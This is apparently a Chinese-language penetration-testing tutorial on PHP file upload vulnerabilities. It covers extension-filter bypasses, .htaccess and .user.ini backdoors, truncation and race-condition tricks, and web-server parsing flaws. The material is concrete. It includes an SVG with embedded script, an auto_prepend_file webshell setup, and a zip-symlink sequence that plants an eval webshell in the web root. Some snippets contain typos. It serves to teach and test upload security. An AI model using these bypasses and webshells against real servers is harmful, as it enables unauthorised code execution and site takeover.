前言

文件上传漏洞是指用户上传了一个可执行的脚本文件,并通过此脚本文件获得了执行服务器端命令的能力。这种攻击方式是最为直接和有效的,“文件上传”本身没有问题,有问题的是文件上传后,服务器怎么处理、解释文件。如果服务器的处理逻辑做的不够安全,则会导致严重的后果。(以下内容默认为后端检测)

微信图片_20220205192532

获取文件信息

不能作为文件名的字符

/ 和 \:目录分隔符。
::在某些操作系统中用于分隔驱动器。
*, ?, ", <, >, |:在文件系统中有特殊意义。
控制字符:如 ASCII 0-31(例如换行符、回车符)。
某些文件系统限制的字符:如某些文件系统可能不允许使用空格或特定符号

如果文件名里出现了这些信息,则出现位置前都会被去掉,这样的设定一定程度上限制了文件上传漏洞的利用,如上传到/tmp目录下,而php工作目录在/www,无法用网址解析,则不存在文件上传漏洞

大部分文件上传函数都不会处理文件名里的字符,如$_FILES['userfile']['name'] 不会 自动去除或过滤文件名中的 ../ 或其他路径遍历片段;它原样返回浏览器提交的 filename 值

$_FILES

1
2
3
4
5
6
7
8
9
10
11
12
13
-----------------------------33914302138280584133217113628
Content-Disposition: form-data; name="file"; filename="2.svg"
Content-Type: image/svg+xml

<?xml version="1.0" standalone="no"?>
<!DOCTYPE svg PUBLIC "-//W3C//DTD SVG 1.1//EN" "http://www.w3.org/Graphics/SVG/1.1/DTD/svg11.dtd">
<svg version="1.1" baseProfile="full" xmlns="http://www.w3.org/2000/svg">
<polygon id="triangle" points="0,0 0,50 50,0" fill="#009900" stroke="#004400"/>
<script type="text/javascript">
alert(123);
</script>
</svg>
-----------------------------33914302138280584133217113628--

中括号的file为上传字段名,当然可以是其他字符串,只要对应就好了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php
if ($_FILES["file"]["error"] > 0)//name=file
{
echo "错误:" . $_FILES["file"]["error"] . "<br>";
}
else
{
echo "上传文件名: (包括后缀)" . $_FILES["file"]["name"] . "<br>";
echo "文件类型: " . $_FILES["file"]["type"] . "<br>";//浏览器根据后缀设置的打开方式,如 Content-Type: image/jpeg
echo "文件大小: " . ($_FILES["file"]["size"] / 1024) . " kB<br>";
echo "文件临时存储的位置: " . $_FILES["file"]["tmp_name"];
move_uploaded_file($_FilES['file']['tmp_name'],$newfile);//将上传的文件移动到新位置,$newfile为新文件的相对路径
}
?>

通过使用 PHP 的全局数组 $_FILES,你可以从客户计算机向远程服务器上传文件。

第一个参数是表单的 input name,第二个下标可以是 “name”、”type”、”size”、”tmp_name” 或 “error”。如下所示:

$_FILES["file"]["name"] - 上传文件的名称       
$_FILES["file"]["type"] - 上传文件的类型(抓包可修改)   
$_FILES["file"]["size"] - 上传文件的大小,以字节计    
$_FILES["file"]["tmp_name"] - 存储在服务器的文件的临时副本的名称   
 
$_FILES["file"]["error"] - 由文件上传导致的错误代码

UPLOAD_ERR_OK 其值为 0,没有错误发生,文件上传成功。
UPLOAD_ERR_INI_SIZE 其值为 1,上传的文件超过了 php.ini 中 upload_max_filesize 选项限制的值。
UPLOAD_ERR_FORM_SIZE 其值为 2,上传文件的大小超过了 HTML 表单中 MAX_FILE_SIZE选项指定的值。
UPLOAD_ERR_PARTIAL 其值为 3,文件只有部分被上传。
UPLOAD_ERR_NO_FILE 其值为 4,没有文件被上传。
UPLOAD_ERR_NO_TMP_DIR 其值为 6,找不到临时文件夹。
UPLOAD_ERR_CANT_WRITE 其值为 7,文件写入失败。

WAF绕过

Content-Disposition:一般可修改(接收的类型,form-data就表示接收的是表单的数据)
name:表单参数值,不能更改
filename:文件名,可以更改
Content-Type:文件MIME,视情况更改

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
MIME值	                            含义
text/plain 纯文本
text/html HTML文档
text/javascript js代码
application/xhtml+xml XHTML文档
image/gif GIF图像
image/jpeg JPEG图像
image/png PNG图像
video/mpeg MPEG动画
application/octet-stream 二进制数据
application/pdf PDF文档
application/(编程语言) 该种语言的代码
application/msword Microsoft Word文件
message/rfc822 RFC 822形式
multipart/alternative HTML邮件的HTML形式和纯文本形式,相同内容使用不同形式表示
application/x-www-form-urlencoded POST方法提交的表单
multipart/form-data POST提交时伴随文件上传的表单

常见绕过方法:

  1. 数据溢出-防匹配(xxx…)
  2. 符号编译-防匹配(’ “ ; )
  3. 数据截断-防匹配(%00 ; 换行)
  4. 重复数据-防匹配(参数多次)
    IMG_20220206_144216

黑名单

黑名单后缀检测绕过

一般分为两种,一种是代码层次的黑名单绕过,及在检测后缀后,有可能存在修改,如检测后删除文件名中的空格,把后缀一起修改了

第二种是系统与代码解析差异导致的绕过,如win不区分大小写,Windows中文件后缀名.系统会自动忽略

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
$file_name = deldot($file_name);//删除文件名末尾的点   Windows中文件后缀名.系统会自动忽略,点号绕过
$file_ext = strrchr($file_name, '.');//提取后缀
$file_ext = strtolower($file_ext); //转换为小写 win大小写不敏感,大小写绕过
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空 空格绕过
if(!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.date("YmdHis").rand(1000,9999).$file_ext;
if (move_uploaded_file($temp_file,$img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '不允许上传.asp,.aspx,.php,.jsp后缀文件!';
}


if(!exif_imagetype($tmp_name)) die("^_^"); //读取一个图像的第一个字节并检查其签名。
//返回一个数组,索引 0 和 1 分别包含图像的宽度和高度,索引 2 是表示图像类型的某个 IMAGETYPE_XXX 常量。
$info = @getimagesize($tmp_name);
if (false === $info || (IMAGETYPE_GIF === $info[2] && empty($info['bits']))) {
throw new ImageException('Illegal image file');
}

在window的时候如果文件名+::$DATA会把::$DATA之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名,他的目的就是不检查后缀名

其他有可能正常解析的后缀

PHP: .php, .php2, .php3, .php4, .php5, .php6, .php7, .phps, .phps, .pht, .phtm, .phtml, .pgif, .shtml, .htaccess, .phar, .inc
ASP: .asp, .aspx, .config, .ashx, .asmx, .aspq, .axd, .cshtm, .cshtml, .rem, .soap, .vbhtm, .vbhtml, .asa, .cer, .shtml
Jsp: .jsp, .jspx, .jsw, .jsv, .jspf

exif_imagetype@getimagesize($tmp_name)[2]可以通过抓包将文件内容的开头加上GIF89a(一种GIF标识)的方法绕过

利用自定义解析绕过白名单

Apache的.htaccess

从安全性考虑,根目录的AllowOverride属性一般都配置成None不允许任何Override,需要更改文件 /etc/apache2/apache2.conf

htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置,利用Apache的rewrite模块对URL进行重写,rewrite规则会写在 .htaccess 文件里

1
2
3
4
5
<Directory /var/www/>
Options Indexes FollowSymLinks
AllowOverride All
Require all granted
</Directory>

需要用到的代码如下:

1
2
3
4
5
6
<FilesMatch "匹配内容">
Sethandler application/x-httpd-php //按照PHP文件来执行
</Eilesmatch >

AddType application/x-httpd-php .htm,则.htm文件也可以执行php程序
AddHandler cgi-script .yyy 则扩展名为.yyy的文件作为 CGI 脚本来处理

实战意义:

1、如果存在可以上传 .htaccess 文件,就可以直接利用此规则解析;

2、如果存在修改文件权限,就直接修改解析规则;

.user.ini留后门

.htaccess是伪静态环境配置文件,用于lamp。
.user.ini是lnmp文件,里面放的是你网站的文件夹路径地址。目的是防止跨目录访问和文件跨目录读取.
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。
跟.htaccess后门比,适用范围更广,nginx/apache/IIS都有效,而.htaccess只适用于apache
使用方法很简单,直接写在.user.ini中:

1
2
GIF89a
auto_prepend_file=shell.jpg

11.gif是要包含的文件。

1
2
3
auto_prepend_file 在文顶部插入加载文件;

auto_append_file 在文件最后插入加载文件(当文件调用的有exit()时该设置无效

我们可以借助.user.ini轻松让所有php文件都“自动”包含某个文件,而这个文件可以是一个正常php文件,也可以是一个包含一句话的webshell。

白名单

绕过白名单的方法同样适用于黑名单

1
2
3
4
5
6
$ext_arr = array('jpg','png','gif');
$file_ext = substr($_FILES['upload_file']['name'],strrpos($_FILES['upload_file']['name'],".")+1);
if(in_array($file_ext,$ext_arr)){
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;

php老版本文件截断绕过

1
include('files/'.$action.'.php'); //载入相应文件

00截断绕过

要求:
php<5.3.4 magic_quotes_gpc=off(默认on,5.4以后该选项被移除)
检测原理:
有很多0x00,%00,/00之类的截断,但是核心都在chr(0)这个字符,它可以返回ascii字符,所以chr(0)表示的是null,如果变量是从用户$_GET或$_POST中获得的并且我们可控,那么我们可以利用空字符\x00来截断后面的拓展名,从而造成任意文件上传。

长度截断绕过

要求:
php版本<=5.2.8
linux 需要文件名长于 4096,windows 需要长于 256,超过部分会被丢弃从而实现文件包含绕过后缀.php限制

竞争上传

检测原理:

1
2
3
4
5
6
7
$upload_file = $UPLOAD_ADDR . '/' . $file_name;

if(move_uploaded_file($temp_file, $upload_file)){
if(in_array($file_ext,$ext_arr)){
$img_path = $UPLOAD_ADDR . '/'. rand(10, 99).date("YmdHis").".".$file_ext;
rename($upload_file, $img_path);
$is_upload = true;

文件先经过保存 ,然后判断后缀名是否在白名单中, 如果不在则删除. 此时可以利用条件竞争在保存文件后删除文件前来执行php文件

中间件解析漏洞

IIS5.x-6.x解析漏洞

使用iis5.x-6.x版本的服务器,大多为windows server 2003,网站比较古老,开发语句一般为asp;该解析漏洞也只能解析asp文件,而不能解析aspx文件。

目录解析(6.0)
形式:www.xxx.com/xx.asp/xx.jpg
原理::服务器默认会把.asp,.asa目录下的文件都解析成asp文件。

文件解析(5.0/6.0)
形式:www.xxx.com/xx.asp;.jpg
原理:服务器默认不解析;号后面的内容,因此xx.asp;.jpg便被解析成asp文件了。

解析文件类型
IIS6.0 默认的可执行文件除了asp还包含这三种 :
/test.asa
/test.cer
/test.cdx

IIS 7.0、IIS 7.5、Nginx(engine x) <8.03 畸形解析漏洞

漏洞原理
在默认Fast-CGI开启状况下,当访问 www.xx.com/phpinfo.jpg/1.php 这个URL时,$fastcgi_script_name会被设置为“phpinfo.jpg/1.php”,然后构造成SCRIPT_FILENAME传递给PHP CGI,但是PHP为什么会接受这样的参数,并将phpinfo.jpg作为PHP文件解析。这就要说到fix_pathinfo这个选项了, 如果开启了这个选项,那么就会触发在PHP中的如下逻辑:

PHP会认为SCRIPT_FILENAME是phpinfo.jpg,而1.php是PATH_INFO,所以就会将phpinfo.jpg作为PHP文件来解析了。

漏洞形式
www.xxxx.com/UploadFiles/image/1.jpg/1.php
www.xxxx.com/UploadFiles/image/1.jpg%00.php
www.xxxx.com/UploadFiles/image/1.jpg/%20\0.php

另外一种手法:上传一个名字为test.jpg,以下是文件的内容:
‘);?>
然后访问 test.jpg/.php,在这个目录下就会生成一句话木马shell.php。

Nginx(engine x)< 0.8.03 空字节代码 解析漏洞

影响版:0.5、0.6、0.7<= 0.7.65、0.8 <= 0.8.37
Nginx在图片中嵌入PHP代码然后通过访问
xxx.jpg%00.php
来执行其中的代码;

apache 1.x , 2.x解析漏洞

漏洞原理
Apache在解析文件名的时候是从右向左读
例如:test.php.owf.rar “.owf”和”.rar” 这两种后缀是apache不可识别解析,apache就会把test.php.owf.rar解析成php。

Apache%0A解析截断(Apache2.4.0到2.4.29)

如上传a.php,然后在burp中修改文件名为a.php\x0A

图片木马

制作方法

2010489-20210625212220250-1267761321
/a表示ASCII码 , /b代表二进制文件

编辑器的利用

  1. 获取编辑器的名称及版本信息

扫描爬行或字典扫描探针

观察图片的地址或编辑器特征

  1. 获取编辑器相关的漏洞

例如:直接搜索引擎搜索“fckeditor 漏洞”会出来很多的。

  1. 利用编辑器漏洞进行攻击测试

unzip() 软链接攻击

1
2
3
4
5
6
7
8
9
10
11
12
#先构造一个指向 /var/www/html 的软连接:
ln -s /var/www/html test
zip --symlinks test.zip ./*
#上传解压该test.zip

#构造第二个压缩包,先创建一个test目录(因为上一个压缩包里边目录就是test),在test目录下写一个shell文件,在压缩创建的test目录 此时压缩包目录架构是:test/cmd.php
mkdir test
cd test
echo "<?php @eval($_GET[cmd]);" > cmd.php
cd ..
zip -r test1.zip ./*
#当上传解压这个压缩包时会覆盖上一个test目录,但是test目录软链接指向 /var/www/html,解压的时候会把cmd.php放在 /var/www/html,此时达到了getshell的目的。